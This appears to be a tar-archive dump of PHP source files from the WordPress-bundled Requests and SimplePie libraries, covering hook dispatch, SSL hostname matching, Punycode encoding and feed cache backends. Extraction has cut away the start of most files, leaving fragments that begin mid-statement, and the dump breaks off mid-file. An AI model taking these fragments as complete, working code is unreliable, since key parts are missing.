Requests/src/Capability.php000064400000001214151202620270011733 0ustar000 is executed later * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $hook argument is not a string. * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $callback argument is not callable. * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $priority argument is not an integer. */ public function register($hook, $callback, $priority = 0) { if (is_string($hook) === false) { throw InvalidArgument::create(1, '$hook', 'string', gettype($hook)); } if (is_callable($callback) === false) { throw InvalidArgument::create(2, '$callback', 'callable', gettype($callback)); } if (InputValidator::is_numeric_array_key($priority) === false) { throw InvalidArgument::create(3, '$priority', 'integer', gettype($priority)); } if (!isset($this->hooks[$hook])) { $this->hooks[$hook] = [ $priority => [], ]; } elseif (!isset($this->hooks[$hook][$priority])) { $this->hooks[$hook][$priority] = []; } $this->hooks[$hook][$priority][] = $callback; } /** * Dispatch a message * * @param string $hook Hook name * @param array $parameters Parameters to pass to callbacks * @return boolean Successfulness * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $hook argument is not a string. * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $parameters argument is not an array. */ public function dispatch($hook, $parameters = []) { if (is_string($hook) === false) { throw InvalidArgument::create(1, '$hook', 'string', gettype($hook)); } // Check strictly against array, as Array* objects don't work in combination with `call_user_func_array()`. if (is_array($parameters) === false) { throw InvalidArgument::create(2, '$parameters', 'array', gettype($parameters)); } if (empty($this->hooks[$hook])) { return false; } if (!empty($parameters)) { // Strip potential keys from the array to prevent them being interpreted as parameter names in PHP 8.0. $parameters = array_values($parameters); } ksort($this->hooks[$hook]); foreach ($this->hooks[$hook] as $priority => $hooked) { foreach ($hooked as $callback) { $callback(...$parameters); } } return true; } public function __wakeup() { throw new \LogicException( __CLASS__ . ' should never be unserialized' ); } } Requests/src/Ssl.php000064400000012461151202620270010421 0ustar00 0) { // Whitespace detected. This can never be a dNSName. return false; } $parts = explode('.', $reference); if ($parts !== array_filter($parts)) { // DNSName cannot contain two dots next to each other. return false; } // Check the first part of the name $first = array_shift($parts); if (strpos($first, '*') !== false) { // Check that the wildcard is the full part if ($first !== '*') { return false; } // Check that we have at least 3 components (including first) if (count($parts) < 2) { return false; } } // Check the remaining parts foreach ($parts as $part) { if (strpos($part, '*') !== false) { return false; } } // Nothing found, verified! return true; } /** * Match a hostname against a dNSName reference * * @param string|Stringable $host Requested host * @param string|Stringable $reference dNSName to match against * @return boolean Does the domain match? * @throws \WpOrg\Requests\Exception\InvalidArgument When either of the passed arguments is not a string or a stringable object. */ public static function match_domain($host, $reference) { if (InputValidator::is_string_or_stringable($host) === false) { throw InvalidArgument::create(1, '$host', 'string|Stringable', gettype($host)); } // Check if the reference is blocklisted first if (self::verify_reference_name($reference) !== true) { return false; } // Check for a direct match if ((string) $host === (string) $reference) { return true; } // Calculate the valid wildcard match if the host is not an IP address // Also validates that the host has 3 parts or more, as per Firefox's ruleset, // as a wildcard reference is only allowed with 3 parts or more, so the // comparison will never match if host doesn't contain 3 parts or more as well. if (ip2long($host) === false) { $parts = explode('.', $host); $parts[0] = '*'; $wildcard = implode('.', $parts); if ($wildcard === (string) $reference) { return true; } } return false; } } Requests/src/Exception.php000064400000002132151202620270011610 0ustar00type = $type; $this->data = $data; } /** * Like {@see \Exception::getCode()}, but a string code. * * @codeCoverageIgnore * @return string */ public function getType() { return $this->type; } /** * Gives any relevant data * * @codeCoverageIgnore * @return mixed */ public function getData() { return $this->data; } } Requests/src/IdnaEncoder.php000064400000030223151202620270012027 0ustar00 0) { if ($position + $length > $strlen) { throw new Exception('Invalid Unicode codepoint', 'idna.invalidcodepoint', $character); } for ($position++; $remaining > 0; $position++) { $value = ord($input[$position]); // If it is invalid, count the sequence as invalid and reprocess the current byte: if (($value & 0xC0) !== 0x80) { throw new Exception('Invalid Unicode codepoint', 'idna.invalidcodepoint', $character); } --$remaining; $character |= ($value & 0x3F) << ($remaining * 6); } $position--; } if (// Non-shortest form sequences are invalid $length > 1 && $character <= 0x7F || $length > 2 && $character <= 0x7FF || $length > 3 && $character <= 0xFFFF // Outside of range of ucschar codepoints // Noncharacters || ($character & 0xFFFE) === 0xFFFE || $character >= 0xFDD0 && $character <= 0xFDEF || ( // Everything else not in ucschar $character > 0xD7FF && $character < 0xF900 || $character < 0x20 || $character > 0x7E && $character < 0xA0 || $character > 0xEFFFD ) ) { throw new Exception('Invalid Unicode codepoint', 'idna.invalidcodepoint', $character); } $codepoints[] = $character; } return $codepoints; } /** * RFC3492-compliant encoder * * @internal Pseudo-code from Section 6.3 is commented with "#" next to relevant code * * @param string $input UTF-8 encoded string to encode * @return string Punycode-encoded string * * @throws \WpOrg\Requests\Exception On character outside of the domain (never happens with Punycode) (`idna.character_outside_domain`) */ public static function punycode_encode($input) { $output = ''; // let n = initial_n $n = self::BOOTSTRAP_INITIAL_N; // let delta = 0 $delta = 0; // let bias = initial_bias $bias = self::BOOTSTRAP_INITIAL_BIAS; // let h = b = the number of basic code points in the input $h = 0; $b = 0; // see loop // copy them to the output in order $codepoints = self::utf8_to_codepoints($input); $extended = []; foreach ($codepoints as $char) { if ($char < 128) { // Character is valid ASCII // TODO: this should also check if it's valid for a URL $output .= chr($char); $h++; // Check if the character is non-ASCII, but below initial n // This never occurs for Punycode, so ignore in coverage // @codeCoverageIgnoreStart } elseif ($char < $n) { throw new Exception('Invalid character', 'idna.character_outside_domain', $char); // @codeCoverageIgnoreEnd } else { $extended[$char] = true; } } $extended = array_keys($extended); sort($extended); $b = $h; // [copy them] followed by a delimiter if b > 0 if (strlen($output) > 0) { $output .= '-'; } // {if the input contains a non-basic code point < n then fail} // while h < length(input) do begin $codepointcount = count($codepoints); while ($h < $codepointcount) { // let m = the minimum code point >= n in the input $m = array_shift($extended); //printf('next code point to insert is %s' . PHP_EOL, dechex($m)); // let delta = delta + (m - n) * (h + 1), fail on overflow $delta += ($m - $n) * ($h + 1); // let n = m $n = $m; // for each code point c in the input (in order) do begin for ($num = 0; $num < $codepointcount; $num++) { $c = $codepoints[$num]; // if c < n then increment delta, fail on overflow if ($c < $n) { $delta++; } elseif ($c === $n) { // if c == n then begin // let q = delta $q = $delta; // for k = base to infinity in steps of base do begin for ($k = self::BOOTSTRAP_BASE; ; $k += self::BOOTSTRAP_BASE) { // let t = tmin if k <= bias {+ tmin}, or // tmax if k >= bias + tmax, or k - bias otherwise if ($k <= ($bias + self::BOOTSTRAP_TMIN)) { $t = self::BOOTSTRAP_TMIN; } elseif ($k >= ($bias + self::BOOTSTRAP_TMAX)) { $t = self::BOOTSTRAP_TMAX; } else { $t = $k - $bias; } // if q < t then break if ($q < $t) { break; } // output the code point for digit t + ((q - t) mod (base - t)) $digit = (int) ($t + (($q - $t) % (self::BOOTSTRAP_BASE - $t))); $output .= self::digit_to_char($digit); // let q = (q - t) div (base - t) $q = (int) floor(($q - $t) / (self::BOOTSTRAP_BASE - $t)); } // end // output the code point for digit q $output .= self::digit_to_char($q); // let bias = adapt(delta, h + 1, test h equals b?) $bias = self::adapt($delta, $h + 1, $h === $b); // let delta = 0 $delta = 0; // increment h $h++; } // end } // end // increment delta and n $delta++; $n++; } // end return $output; } /** * Convert a digit to its respective character * * @link https://tools.ietf.org/html/rfc3492#section-5 * * @param int $digit Digit in the range 0-35 * @return string Single character corresponding to digit * * @throws \WpOrg\Requests\Exception On invalid digit (`idna.invalid_digit`) */ protected static function digit_to_char($digit) { // @codeCoverageIgnoreStart // As far as I know, this never happens, but still good to be sure. if ($digit < 0 || $digit > 35) { throw new Exception(sprintf('Invalid digit %d', $digit), 'idna.invalid_digit', $digit); } // @codeCoverageIgnoreEnd $digits = 'abcdefghijklmnopqrstuvwxyz0123456789'; return substr($digits, $digit, 1); } /** * Adapt the bias * * @link https://tools.ietf.org/html/rfc3492#section-6.1 * @param int $delta * @param int $numpoints * @param bool $firsttime * @return int|float New bias * * function adapt(delta,numpoints,firsttime): */ protected static function adapt($delta, $numpoints, $firsttime) { // if firsttime then let delta = delta div damp if ($firsttime) { $delta = floor($delta / self::BOOTSTRAP_DAMP); } else { // else let delta = delta div 2 $delta = floor($delta / 2); } // let delta = delta + (delta div numpoints) $delta += floor($delta / $numpoints); // let k = 0 $k = 0; // while delta > ((base - tmin) * tmax) div 2 do begin $max = floor(((self::BOOTSTRAP_BASE - self::BOOTSTRAP_TMIN) * self::BOOTSTRAP_TMAX) / 2); while ($delta > $max) { // let delta = delta div (base - tmin) $delta = floor($delta / (self::BOOTSTRAP_BASE - self::BOOTSTRAP_TMIN)); // let k = k + base $k += self::BOOTSTRAP_BASE; } // end // return k + (((base - tmin + 1) * delta) div (delta + skew)) return $k + floor(((self::BOOTSTRAP_BASE - self::BOOTSTRAP_TMIN + 1) * $delta) / ($delta + self::BOOTSTRAP_SKEW)); } } SimplePie/Author.php000064400000006671151202620270010415 0ustar00name = $name; $this->link = $link; $this->email = $email; } /** * String-ified version * * @return string */ public function __toString() { // There is no $this->data here return md5(serialize($this)); } /** * Author's name * * @return string|null */ public function get_name() { if ($this->name !== null) { return $this->name; } return null; } /** * Author's link * * @return string|null */ public function get_link() { if ($this->link !== null) { return $this->link; } return null; } /** * Author's email address * * @return string|null */ public function get_email() { if ($this->email !== null) { return $this->email; } return null; } } SimplePie/Cache/Base.php000064400000006533151202620270011025 0ustar00get_items(); $items_by_id = array(); if (!empty($items)) { foreach ($items as $item) { $items_by_id[$item->get_id()] = $item; } if (count($items_by_id) !== count($items)) { $items_by_id = array(); foreach ($items as $item) { $items_by_id[$item->get_id(true)] = $item; } } if (isset($data->data['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['feed'][0])) { $channel =& $data->data['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['feed'][0]; } elseif (isset($data->data['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['feed'][0])) { $channel =& $data->data['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['feed'][0]; } elseif (isset($data->data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'][0])) { $channel =& $data->data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'][0]; } elseif (isset($data->data['child'][SIMPLEPIE_NAMESPACE_RSS_20]['rss'][0]['child'][SIMPLEPIE_NAMESPACE_RSS_20]['channel'][0])) { $channel =& $data->data['child'][SIMPLEPIE_NAMESPACE_RSS_20]['rss'][0]['child'][SIMPLEPIE_NAMESPACE_RSS_20]['channel'][0]; } else { $channel = null; } if ($channel !== null) { if (isset($channel['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['entry'])) { unset($channel['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['entry']); } if (isset($channel['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['entry'])) { unset($channel['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['entry']); } if (isset($channel['child'][SIMPLEPIE_NAMESPACE_RSS_10]['item'])) { unset($channel['child'][SIMPLEPIE_NAMESPACE_RSS_10]['item']); } if (isset($channel['child'][SIMPLEPIE_NAMESPACE_RSS_090]['item'])) { unset($channel['child'][SIMPLEPIE_NAMESPACE_RSS_090]['item']); } if (isset($channel['child'][SIMPLEPIE_NAMESPACE_RSS_20]['item'])) { unset($channel['child'][SIMPLEPIE_NAMESPACE_RSS_20]['item']); } } if (isset($data->data['items'])) { unset($data->data['items']); } if (isset($data->data['ordered_items'])) { unset($data->data['ordered_items']); } } return array(serialize($data->data), $items_by_id); } } SimplePie/Cache/File.php000064400000010265151202620270011027 0ustar00location = $location; $this->filename = $name; $this->extension = $type; $this->name = "$this->location/$this->filename.$this->extension"; } /** * Save data to the cache * * @param array|SimplePie $data Data to store in the cache. If passed a SimplePie object, only cache the $data property * @return bool Successfulness */ public function save($data) { if (file_exists($this->name) && is_writable($this->name) || file_exists($this->location) && is_writable($this->location)) { if ($data instanceof SimplePie) { $data = $data->data; } $data = serialize($data); return (bool) file_put_contents($this->name, $data); } return false; } /** * Retrieve the data saved to the cache * * @return array Data for SimplePie::$data */ public function load() { if (file_exists($this->name) && is_readable($this->name)) { return unserialize(file_get_contents($this->name)); } return false; } /** * Retrieve the last modified time for the cache * * @return int Timestamp */ public function mtime() { return @filemtime($this->name); } /** * Set the last modified time to the current time * * @return bool Success status */ public function touch() { return @touch($this->name); } /** * Remove the cache * * @return bool Success status */ public function unlink() { if (file_exists($this->name)) { return unlink($this->name); } return false; } } SimplePie/Cache/Memcache.php000064400000011463151202620270011653 0ustar00options = array( 'host' => '127.0.0.1', 'port' => 11211, 'extras' => array( 'timeout' => 3600, // one hour 'prefix' => 'simplepie_', ), ); $this->options = SimplePie_Misc::array_merge_recursive($this->options, SimplePie_Cache::parse_URL($location)); $this->name = $this->options['extras']['prefix'] . md5("$name:$type"); $this->cache = new Memcache(); $this->cache->addServer($this->options['host'], (int) $this->options['port']); } /** * Save data to the cache * * @param array|SimplePie $data Data to store in the cache. If passed a SimplePie object, only cache the $data property * @return bool Successfulness */ public function save($data) { if ($data instanceof SimplePie) { $data = $data->data; } return $this->cache->set($this->name, serialize($data), MEMCACHE_COMPRESSED, (int) $this->options['extras']['timeout']); } /** * Retrieve the data saved to the cache * * @return array Data for SimplePie::$data */ public function load() { $data = $this->cache->get($this->name); if ($data !== false) { return unserialize($data); } return false; } /** * Retrieve the last modified time for the cache * * @return int Timestamp */ public function mtime() { $data = $this->cache->get($this->name); if ($data !== false) { // essentially ignore the mtime because Memcache expires on its own return time(); } return false; } /** * Set the last modified time to the current time * * @return bool Success status */ public function touch() { $data = $this->cache->get($this->name); if ($data !== false) { return $this->cache->set($this->name, $data, MEMCACHE_COMPRESSED, (int) $this->options['extras']['timeout']); } return false; } /** * Remove the cache * * @return bool Success status */ public function unlink() { return $this->cache->delete($this->name, 0); } } SimplePie/Cache/Memcached.php000064400000012412151202620270012012 0ustar00options = array( 'host' => '127.0.0.1', 'port' => 11211, 'extras' => array( 'timeout' => 3600, // one hour 'prefix' => 'simplepie_', ), ); $this->options = SimplePie_Misc::array_merge_recursive($this->options, SimplePie_Cache::parse_URL($location)); $this->name = $this->options['extras']['prefix'] . md5("$name:$type"); $this->cache = new Memcached(); $this->cache->addServer($this->options['host'], (int)$this->options['port']); } /** * Save data to the cache * @param array|SimplePie $data Data to store in the cache. If passed a SimplePie object, only cache the $data property * @return bool Successfulness */ public function save($data) { if ($data instanceof SimplePie) { $data = $data->data; } return $this->setData(serialize($data)); } /** * Retrieve the data saved to the cache * @return array Data for SimplePie::$data */ public function load() { $data = $this->cache->get($this->name); if ($data !== false) { return unserialize($data); } return false; } /** * Retrieve the last modified time for the cache * @return int Timestamp */ public function mtime() { $data = $this->cache->get($this->name . '_mtime'); return (int) $data; } /** * Set the last modified time to the current time * @return bool Success status */ public function touch() { $data = $this->cache->get($this->name); return $this->setData($data); } /** * Remove the cache * @return bool Success status */ public function unlink() { return $this->cache->delete($this->name, 0); } /** * Set the last modified time and data to Memcached * @return bool Success status */ private function setData($data) { if ($data !== false) { $this->cache->set($this->name . '_mtime', time(), (int)$this->options['extras']['timeout']); return $this->cache->set($this->name, $data, (int)$this->options['extras']['timeout']); } return false; } } SimplePie/Cache/MySQL.php000064400000031050151202620270011110 0ustar00options = array( 'user' => null, 'pass' => null, 'host' => '127.0.0.1', 'port' => '3306', 'path' => '', 'extras' => array( 'prefix' => '', 'cache_purge_time' => 2592000 ), ); $this->options = SimplePie_Misc::array_merge_recursive($this->options, SimplePie_Cache::parse_URL($location)); // Path is prefixed with a "/" $this->options['dbname'] = substr($this->options['path'], 1); try { $this->mysql = new PDO("mysql:dbname={$this->options['dbname']};host={$this->options['host']};port={$this->options['port']}", $this->options['user'], $this->options['pass'], array(PDO::MYSQL_ATTR_INIT_COMMAND => 'SET NAMES utf8')); } catch (PDOException $e) { $this->mysql = null; return; } $this->id = $name . $type; if (!$query = $this->mysql->query('SHOW TABLES')) { $this->mysql = null; return; } $db = array(); while ($row = $query->fetchColumn()) { $db[] = $row; } if (!in_array($this->options['extras']['prefix'] . 'cache_data', $db)) { $query = $this->mysql->exec('CREATE TABLE `' . $this->options['extras']['prefix'] . 'cache_data` (`id` TEXT CHARACTER SET utf8 NOT NULL, `items` SMALLINT NOT NULL DEFAULT 0, `data` BLOB NOT NULL, `mtime` INT UNSIGNED NOT NULL, UNIQUE (`id`(125)))'); if ($query === false) { trigger_error("Can't create " . $this->options['extras']['prefix'] . "cache_data table, check permissions", E_USER_WARNING); $this->mysql = null; return; } } if (!in_array($this->options['extras']['prefix'] . 'items', $db)) { $query = $this->mysql->exec('CREATE TABLE `' . $this->options['extras']['prefix'] . 'items` (`feed_id` TEXT CHARACTER SET utf8 NOT NULL, `id` TEXT CHARACTER SET utf8 NOT NULL, `data` MEDIUMBLOB NOT NULL, `posted` INT UNSIGNED NOT NULL, INDEX `feed_id` (`feed_id`(125)))'); if ($query === false) { trigger_error("Can't create " . $this->options['extras']['prefix'] . "items table, check permissions", E_USER_WARNING); $this->mysql = null; return; } } } /** * Save data to the cache * * @param array|SimplePie $data Data to store in the cache. If passed a SimplePie object, only cache the $data property * @return bool Successfulness */ public function save($data) { if ($this->mysql === null) { return false; } $query = $this->mysql->prepare('DELETE i, cd FROM `' . $this->options['extras']['prefix'] . 'cache_data` cd, ' . '`' . $this->options['extras']['prefix'] . 'items` i ' . 'WHERE cd.id = i.feed_id ' . 'AND cd.mtime < (unix_timestamp() - :purge_time)'); $query->bindValue(':purge_time', $this->options['extras']['cache_purge_time']); if (!$query->execute()) { return false; } if ($data instanceof SimplePie) { $data = clone $data; $prepared = self::prepare_simplepie_object_for_cache($data); $query = $this->mysql->prepare('SELECT COUNT(*) FROM `' . $this->options['extras']['prefix'] . 'cache_data` WHERE `id` = :feed'); $query->bindValue(':feed', $this->id); if ($query->execute()) { if ($query->fetchColumn() > 0) { $items = count($prepared[1]); if ($items) { $sql = 'UPDATE `' . $this->options['extras']['prefix'] . 'cache_data` SET `items` = :items, `data` = :data, `mtime` = :time WHERE `id` = :feed'; $query = $this->mysql->prepare($sql); $query->bindValue(':items', $items); } else { $sql = 'UPDATE `' . $this->options['extras']['prefix'] . 'cache_data` SET `data` = :data, `mtime` = :time WHERE `id` = :feed'; $query = $this->mysql->prepare($sql); } $query->bindValue(':data', $prepared[0]); $query->bindValue(':time', time()); $query->bindValue(':feed', $this->id); if (!$query->execute()) { return false; } } else { $query = $this->mysql->prepare('INSERT INTO `' . $this->options['extras']['prefix'] . 'cache_data` (`id`, `items`, `data`, `mtime`) VALUES(:feed, :count, :data, :time)'); $query->bindValue(':feed', $this->id); $query->bindValue(':count', count($prepared[1])); $query->bindValue(':data', $prepared[0]); $query->bindValue(':time', time()); if (!$query->execute()) { return false; } } $ids = array_keys($prepared[1]); if (!empty($ids)) { foreach ($ids as $id) { $database_ids[] = $this->mysql->quote($id); } $query = $this->mysql->prepare('SELECT `id` FROM `' . $this->options['extras']['prefix'] . 'items` WHERE `id` = ' . implode(' OR `id` = ', $database_ids) . ' AND `feed_id` = :feed'); $query->bindValue(':feed', $this->id); if ($query->execute()) { $existing_ids = array(); while ($row = $query->fetchColumn()) { $existing_ids[] = $row; } $new_ids = array_diff($ids, $existing_ids); foreach ($new_ids as $new_id) { if (!($date = $prepared[1][$new_id]->get_date('U'))) { $date = time(); } $query = $this->mysql->prepare('INSERT INTO `' . $this->options['extras']['prefix'] . 'items` (`feed_id`, `id`, `data`, `posted`) VALUES(:feed, :id, :data, :date)'); $query->bindValue(':feed', $this->id); $query->bindValue(':id', $new_id); $query->bindValue(':data', serialize($prepared[1][$new_id]->data)); $query->bindValue(':date', $date); if (!$query->execute()) { return false; } } return true; } } else { return true; } } } else { $query = $this->mysql->prepare('SELECT `id` FROM `' . $this->options['extras']['prefix'] . 'cache_data` WHERE `id` = :feed'); $query->bindValue(':feed', $this->id); if ($query->execute()) { if ($query->rowCount() > 0) { $query = $this->mysql->prepare('UPDATE `' . $this->options['extras']['prefix'] . 'cache_data` SET `items` = 0, `data` = :data, `mtime` = :time WHERE `id` = :feed'); $query->bindValue(':data', serialize($data)); $query->bindValue(':time', time()); $query->bindValue(':feed', $this->id); if ($this->execute()) { return true; } } else { $query = $this->mysql->prepare('INSERT INTO `' . $this->options['extras']['prefix'] . 'cache_data` (`id`, `items`, `data`, `mtime`) VALUES(:id, 0, :data, :time)'); $query->bindValue(':id', $this->id); $query->bindValue(':data', serialize($data)); $query->bindValue(':time', time()); if ($query->execute()) { return true; } } } } return false; } /** * Retrieve the data saved to the cache * * @return array Data for SimplePie::$data */ public function load() { if ($this->mysql === null) { return false; } $query = $this->mysql->prepare('SELECT `items`, `data` FROM `' . $this->options['extras']['prefix'] . 'cache_data` WHERE `id` = :id'); $query->bindValue(':id', $this->id); if ($query->execute() && ($row = $query->fetch())) { $data = unserialize($row[1]); if (isset($this->options['items'][0])) { $items = (int) $this->options['items'][0]; } else { $items = (int) $row[0]; } if ($items !== 0) { if (isset($data['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['feed'][0])) { $feed =& $data['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['feed'][0]; } elseif (isset($data['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['feed'][0])) { $feed =& $data['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['feed'][0]; } elseif (isset($data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'][0])) { $feed =& $data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'][0]; } elseif (isset($data['child'][SIMPLEPIE_NAMESPACE_RSS_20]['rss'][0])) { $feed =& $data['child'][SIMPLEPIE_NAMESPACE_RSS_20]['rss'][0]; } else { $feed = null; } if ($feed !== null) { $sql = 'SELECT `data` FROM `' . $this->options['extras']['prefix'] . 'items` WHERE `feed_id` = :feed ORDER BY `posted` DESC'; if ($items > 0) { $sql .= ' LIMIT ' . $items; } $query = $this->mysql->prepare($sql); $query->bindValue(':feed', $this->id); if ($query->execute()) { while ($row = $query->fetchColumn()) { $feed['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['entry'][] = unserialize($row); } } else { return false; } } } return $data; } return false; } /** * Retrieve the last modified time for the cache * * @return int Timestamp */ public function mtime() { if ($this->mysql === null) { return false; } $query = $this->mysql->prepare('SELECT `mtime` FROM `' . $this->options['extras']['prefix'] . 'cache_data` WHERE `id` = :id'); $query->bindValue(':id', $this->id); if ($query->execute() && ($time = $query->fetchColumn())) { return $time; } return false; } /** * Set the last modified time to the current time * * @return bool Success status */ public function touch() { if ($this->mysql === null) { return false; } $query = $this->mysql->prepare('UPDATE `' . $this->options['extras']['prefix'] . 'cache_data` SET `mtime` = :time WHERE `id` = :id'); $query->bindValue(':time', time()); $query->bindValue(':id', $this->id); return $query->execute() && $query->rowCount() > 0; } /** * Remove the cache * * @return bool Success status */ public function unlink() { if ($this->mysql === null) { return false; } $query = $this->mysql->prepare('DELETE FROM `' . $this->options['extras']['prefix'] . 'cache_data` WHERE `id` = :id'); $query->bindValue(':id', $this->id); $query2 = $this->mysql->prepare('DELETE FROM `' . $this->options['extras']['prefix'] . 'items` WHERE `feed_id` = :id'); $query2->bindValue(':id', $this->id); return $query->execute() && $query2->execute(); } } SimplePie/Cache/Redis.php000064400000007737151202620270011230 0ustar00 * @link http://galvani.cz/ * @license http://www.opensource.org/licenses/bsd-license.php BSD License * @version 0.2.9 */ /** * Caches data to redis * * Registered for URLs with the "redis" protocol * * For example, `redis://localhost:6379/?timeout=3600&prefix=sp_&dbIndex=0` will * connect to redis on `localhost` on port 6379. All tables will be * prefixed with `simple_primary-` and data will expire after 3600 seconds * * @package SimplePie * @subpackage Caching * @uses Redis */ class SimplePie_Cache_Redis implements SimplePie_Cache_Base { /** * Redis instance * * @var \Redis */ protected $cache; /** * Options * * @var array */ protected $options; /** * Cache name * * @var string */ protected $name; /** * Cache Data * * @var type */ protected $data; /** * Create a new cache object * * @param string $location Location string (from SimplePie::$cache_location) * @param string $name Unique ID for the cache * @param string $type Either TYPE_FEED for SimplePie data, or TYPE_IMAGE for image data */ public function __construct($location, $name, $options = null) { //$this->cache = \flow\simple\cache\Redis::getRedisClientInstance(); $parsed = SimplePie_Cache::parse_URL($location); $redis = new Redis(); $redis->connect($parsed['host'], $parsed['port']); if (isset($parsed['pass'])) { $redis->auth($parsed['pass']); } if (isset($parsed['path'])) { $redis->select((int)substr($parsed['path'], 1)); } $this->cache = $redis; if (!is_null($options) && is_array($options)) { $this->options = $options; } else { $this->options = array ( 'prefix' => 'rss:simple_primary:', 'expire' => 0, ); } $this->name = $this->options['prefix'] . $name; } /** * @param \Redis $cache */ public function setRedisClient(\Redis $cache) { $this->cache = $cache; } /** * Save data to the cache * * @param array|SimplePie $data Data to store in the cache. If passed a SimplePie object, only cache the $data property * @return bool Successfulness */ public function save($data) { if ($data instanceof SimplePie) { $data = $data->data; } $response = $this->cache->set($this->name, serialize($data)); if ($this->options['expire']) { $this->cache->expire($this->name, $this->options['expire']); } return $response; } /** * Retrieve the data saved to the cache * * @return array Data for SimplePie::$data */ public function load() { $data = $this->cache->get($this->name); if ($data !== false) { return unserialize($data); } return false; } /** * Retrieve the last modified time for the cache * * @return int Timestamp */ public function mtime() { $data = $this->cache->get($this->name); if ($data !== false) { return time(); } return false; } /** * Set the last modified time to the current time * * @return bool Success status */ public function touch() { $data = $this->cache->get($this->name); if ($data !== false) { $return = $this->cache->set($this->name, $data); if ($this->options['expire']) { return $this->cache->expire($this->name, $this->ttl); } return $return; } return false; } /** * Remove the cache * * @return bool Success status */ public function unlink() { return $this->cache->set($this->name, null); } } SimplePie/Cache.php000064400000010403151202620270010142 0ustar00 'SimplePie_Cache_MySQL', 'memcache' => 'SimplePie_Cache_Memcache', 'memcached' => 'SimplePie_Cache_Memcached', 'redis' => 'SimplePie_Cache_Redis' ); /** * Don't call the constructor. Please. */ private function __construct() { } /** * Create a new SimplePie_Cache object * * @param string $location URL location (scheme is used to determine handler) * @param string $filename Unique identifier for cache object * @param string $extension 'spi' or 'spc' * @return SimplePie_Cache_Base Type of object depends on scheme of `$location` */ public static function get_handler($location, $filename, $extension) { $type = explode(':', $location, 2); $type = $type[0]; if (!empty(self::$handlers[$type])) { $class = self::$handlers[$type]; return new $class($location, $filename, $extension); } return new SimplePie_Cache_File($location, $filename, $extension); } /** * Create a new SimplePie_Cache object * * @deprecated Use {@see get_handler} instead */ public function create($location, $filename, $extension) { trigger_error('Cache::create() has been replaced with Cache::get_handler(). Switch to the registry system to use this.', E_USER_DEPRECATED); return self::get_handler($location, $filename, $extension); } /** * Register a handler * * @param string $type DSN type to register for * @param string $class Name of handler class. Must implement SimplePie_Cache_Base */ public static function register($type, $class) { self::$handlers[$type] = $class; } /** * Parse a URL into an array * * @param string $url * @return array */ public static function parse_URL($url) { $params = parse_url($url); $params['extras'] = array(); if (isset($params['query'])) { parse_str($params['query'], $params['extras']); } return $params; } } SimplePie/Caption.php000064400000010461151202620270010540 0ustar00` captions as defined in Media RSS. * * Used by {@see SimplePie_Enclosure::get_caption()} and {@see SimplePie_Enclosure::get_captions()} * * This class can be overloaded with {@see SimplePie::set_caption_class()} * * @package SimplePie * @subpackage API */ class SimplePie_Caption { /** * Content type * * @var string * @see get_type() */ var $type; /** * Language * * @var string * @see get_language() */ var $lang; /** * Start time * * @var string * @see get_starttime() */ var $startTime; /** * End time * * @var string * @see get_endtime() */ var $endTime; /** * Caption text * * @var string * @see get_text() */ var $text; /** * Constructor, used to input the data * * For documentation on all the parameters, see the corresponding * properties and their accessors */ public function __construct($type = null, $lang = null, $startTime = null, $endTime = null, $text = null) { $this->type = $type; $this->lang = $lang; $this->startTime = $startTime; $this->endTime = $endTime; $this->text = $text; } /** * String-ified version * * @return string */ public function __toString() { // There is no $this->data here return md5(serialize($this)); } /** * Get the end time * * @return string|null Time in the format 'hh:mm:ss.SSS' */ public function get_endtime() { if ($this->endTime !== null) { return $this->endTime; } return null; } /** * Get the language * * @link http://tools.ietf.org/html/rfc3066 * @return string|null Language code as per RFC 3066 */ public function get_language() { if ($this->lang !== null) { return $this->lang; } return null; } /** * Get the start time * * @return string|null Time in the format 'hh:mm:ss.SSS' */ public function get_starttime() { if ($this->startTime !== null) { return $this->startTime; } return null; } /** * Get the text of the caption * * @return string|null */ public function get_text() { if ($this->text !== null) { return $this->text; } return null; } /** * Get the content type (not MIME type) * * @return string|null Either 'text' or 'html' */ public function get_type() { if ($this->type !== null) { return $this->type; } return null; } } SimplePie/Category.php000064400000007550151202620270010725 0ustar00 * subject for * * @var string|null * @see get_type() */ var $type; /** * Constructor, used to input the data * * @param string|null $term * @param string|null $scheme * @param string|null $label * @param string|null $type */ public function __construct($term = null, $scheme = null, $label = null, $type = null) { $this->term = $term; $this->scheme = $scheme; $this->label = $label; $this->type = $type; } /** * String-ified version * * @return string */ public function __toString() { // There is no $this->data here return md5(serialize($this)); } /** * Get the category identifier * * @return string|null */ public function get_term() { return $this->term; } /** * Get the categorization scheme identifier * * @return string|null */ public function get_scheme() { return $this->scheme; } /** * Get the human readable label * * @param bool $strict * @return string|null */ public function get_label($strict = false) { if ($this->label === null && $strict !== true) { return $this->get_term(); } return $this->label; } /** * Get the category type * * @return string|null */ public function get_type() { return $this->type; } } SimplePie/Content/Type/Sniffer.php000064400000017517151202620270013103 0ustar00file = $file; } /** * Get the Content-Type of the specified file * * @return string Actual Content-Type */ public function get_type() { if (isset($this->file->headers['content-type'])) { if (!isset($this->file->headers['content-encoding']) && ($this->file->headers['content-type'] === 'text/plain' || $this->file->headers['content-type'] === 'text/plain; charset=ISO-8859-1' || $this->file->headers['content-type'] === 'text/plain; charset=iso-8859-1' || $this->file->headers['content-type'] === 'text/plain; charset=UTF-8')) { return $this->text_or_binary(); } if (($pos = strpos($this->file->headers['content-type'], ';')) !== false) { $official = 